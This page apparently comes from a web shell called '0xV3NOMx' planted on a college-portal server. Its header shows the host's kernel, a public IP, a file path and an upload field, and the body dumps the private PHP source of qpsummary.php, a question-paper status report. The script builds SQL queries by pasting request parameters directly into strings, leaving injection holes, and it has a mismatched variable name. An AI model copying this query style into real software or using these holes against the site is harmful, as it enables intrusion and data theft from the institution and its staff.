0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.216.32.251


Current Path : /var/www/html/collportal/custom_src/
Upload File :
Current File : /var/www/html/collportal/custom_src/qpsummary.php

<?php
function getRecoredQpSummary($aobj_context){
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
    $deggrp = $aobj_context->mobj_data["deggrp"];

    $board = $aobj_context->mobj_data["board"];
    $qpcode = $aobj_context->mobj_data["qpcode"];
    $degree = $aobj_context->mobj_data["degree"];
    $sem = $aobj_context->mobj_data["sem"];
    $teachstatus = $aobj_context->mobj_data["status"];
    $modstatus = $aobj_context->mobj_data["mstatus"];

    $query = "select fyear, fexamtype from deggrp where fdeggrp = '{$deggrp}'";
    $result = $aobj_context->mobj_db->GetRow($query);
 
    $year = $result['fyear'];
    $type = $result['fexamtype'];


    if($board === "All"){
        $boardCond = " ";
    }else{
        $boardCond = "and s.fboard='{$board}'";
    }

    if($qpcode === "All"){
        $qpCond = " ";
    }else{
        $qpcond = "and qd.fqpcode='{$qpcode}'";
    }

    $degreeArr = explode(",", $degree);
    foreach($degreeArr as $key => $val){
        if($val != 'All'){
            $fdegree .= "'".$val."',";
        }
    }
    $degArray = substr_replace($fdegree ,"",-1);

    if($degree === "All"){
        $degCond = " ";
    }else{
        $degCond = "and d.fdegree in ({$degArray})";
    }

    if($sem === "All"){
        $semCond = " ";
    }else{
        $semCond = "and d.fexamno = '{$sem}'";
    }

    if($teachstatus === "uploaded"){
        $teachUpdCond = "and ifnull(qd.fqpfilepath, '') <> ''  
                            and ifnull(fanskeypath, '') <> '' ";
    }else if($teachstatus === "not_uploaded"){
        $teachUpdCond = "and ifnull(qd.fqpfilepath, '') = ''  
                            and ifnull(fanskeypath, '') = ''";
    }else{
        $teachUpdCond = " ";
    }

    if($modstatus === "uploaded"){
        $modstatusCond = "and ifnull(qd.fmodqppath, '') <> ''";
    }else if($modstatus === "not_uploaded"){
        $modstatusCond = "and ifnull(qd.fmodqppath, '') = ''";
    }else{
        $modstatusCond = " ";
    }

    $query = "select q.fqpcode,concat(s.fsubname, ' - ', s.fsubshort) as fsubname,q.fnoqp,
            group_concat(distinct concat('Set: ',fset,' (',qd.ftype,')',' - ',if(ifnull(fqpfilepath,'') = '','Not Uploaded','Uploaded'),
            ' - ',ifnull(DATE_FORMAT(fqpdtme,'%d/%m/%Y'),'')) order by fset desc separator ', ')as fstatus,
            group_concat(distinct concat('Set: ',fset,' (',qd.ftype,')',' - ',if(ifnull(fmodqpupd,'') = '','Not Uploaded','Uploaded')
            ,' - ',ifnull(DATE_FORMAT(fmodqpdate,'%d/%m/%Y'),'')) order by fset desc separator ', ')as fmodstatus,
            q.fteachcode, m.fteachname, 
            group_concat(distinct concat('Set: ',fset,' (',qd.ftype,')',' - ',if(ifnull(qd.fstatus,'') = '','',qd.fstatus)) order by fset desc separator ', ')as status
            from qpseter q inner join qpseterdet qd on q.fqpcode = qd.fqpcode
            and qd.fteachcode = q.fteachcode
            inner join subject s on q.fqpcode = s.fqpcode
            inner join degree d on s.fdegree = d.fdegree and s.fexamno = d.fexamno
            inner join masteach m on q.fteachcode = m.fteachcode
            WHERE d.fdeggrp = '{$deggrp}'
            {$boardCond} {$qpcond} {$degCond} {$semCond} {$teachUpdCond} {$modstatusCond}
            group by q.fqpcode,q.fteachcode
            order by q.fqpcode,q.fteachcode";

            // var_dump($query);die();

    $result = $aobj_context->mobj_db->GetAll($query);

    if($result){
        echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success");  
    }else{
        $arr['msg'] = 'Failed to load';
        echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure");
    }
}







// $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
// $univcode = $aobj_context->mobj_data["univcode"];
// $year = $aobj_context->mobj_data["exam"];
// $board = $aobj_context->mobj_data["board"];
// $qpcode = $aobj_context->mobj_data["qpcode"];
// $degree = $aobj_context->mobj_data["degree"];
// $sem = $aobj_context->mobj_data["sem"];
// $teachstatus = $aobj_context->mobj_data["status"];
// $modstatus = $aobj_context->mobj_data["modstatus"];

// $split = explode("*", $year);
// $deggrp = $split[0];
// $splitYearAndMode = explode("-", $split[1]);
// $year = $splitYearAndMode[0];
// $type = $splitYearAndMode[1];

// if($board === "All"){
//     $boardCond = " ";
// }else{
//     $boardCond = "and s.fboard='{$board}'";
// }

// if($qpcode === "All"){
//     $qpCond = " ";
// }else{
//     $qpcond = "and qd.fqpcode='{$qpcode}'";
// }

// $degreeArr = explode(",", $degree);
// foreach($degreeArr as $key => $val){
//     if($val != 'All'){
//         $fdegree .= "'".$val."',";
//     }
// }
// $degArray = substr_replace($fdegree ,"",-1);

// if($degree === "All"){
//     $degCond = " ";
// }else{
//     $degCond = "and d.fdegree in ({$degArray})";
// }

// if($sem === "All"){
//     $semCond = " ";
// }else{
//     $semCond = "and d.fexamno = '{$sem}'";
// }

// if($teachstatus === "uploaded"){
//     $teachUpdCond = "and ifnull(qd.fqpfilepath, '') <> ''  
//                      and ifnull(fanskeypath, '') <> '' ";
// }else if($teachstatus === "not_uploaded"){
//     $teachUpdCond = "and ifnull(qd.fqpfilepath, '') = ''  
//                      and ifnull(fanskeypath, '') = ''";
// }else{
//     $teachUpdCond = " ";
// }

// if($modstatus === "uploaded"){
//     $modstatusCond = "and ifnull(qd.fmodqppath, '') <> ''";
// }else if($modstatus === "not_uploaded"){
//     $modstatusCond = "and ifnull(qd.fmodqppath, '') = ''";
// }else{
//     $modstatusCond = " ";
// }

// $query = "select q.fqpcode,concat(s.fsubname, ' - ', s.fsubshort) as fsubname,q.fnoqp,
//         group_concat(distinct concat('Set: ',fset,' - ',if(ifnull(fqpfilepath,'') = '','Not Uploaded','Uploaded')) separator ', ')as fstatus,
//         group_concat(distinct concat('Set: ',fset,' - ',if(ifnull(fmodqpupd,'') = '','Not Uploaded','Uploaded')) separator ', ')as fmodstatus,
//         q.fteachcode, m.fteachname, 
//         group_concat(distinct concat('Set: ',fset,' - ',if(ifnull(qd.fstatus,'') = '','',qd.fstatus)) separator ', ')as status
//         from qpseter q inner join qpseterdet qd on q.fqpcode = qd.fqpcode
//         and qd.fteachcode = q.fteachcode
//         inner join subject s on q.fqpcode = s.fqpcode
//         inner join degree d on s.fdegree = d.fdegree and s.fexamno = d.fexamno
//         inner join masteach m on q.fteachcode = m.fteachcode
//         WHERE ifnull(q.fappointed,'') = 'T' and d.fdeggrp = '{$deggrp}'
//         and qd.fyear='{$year}' and qd.fexamtype='{$type}' {$boardCond} {$qpcond} 
//         {$degCond} {$semCond} {$teachUpdCond} {$modstatusCond}
//         group by q.fqpcode,q.fteachcode
//         order by q.fqpcode,q.fteachcode;";
// // var_dump($query);die();
// $result = $aobj_context->pobj_db->GetAll($query);

// if($result){
//     echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success");  
// }else{
//     $arr['msg'] = 'Failed to load';
//     echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure");
// }
?>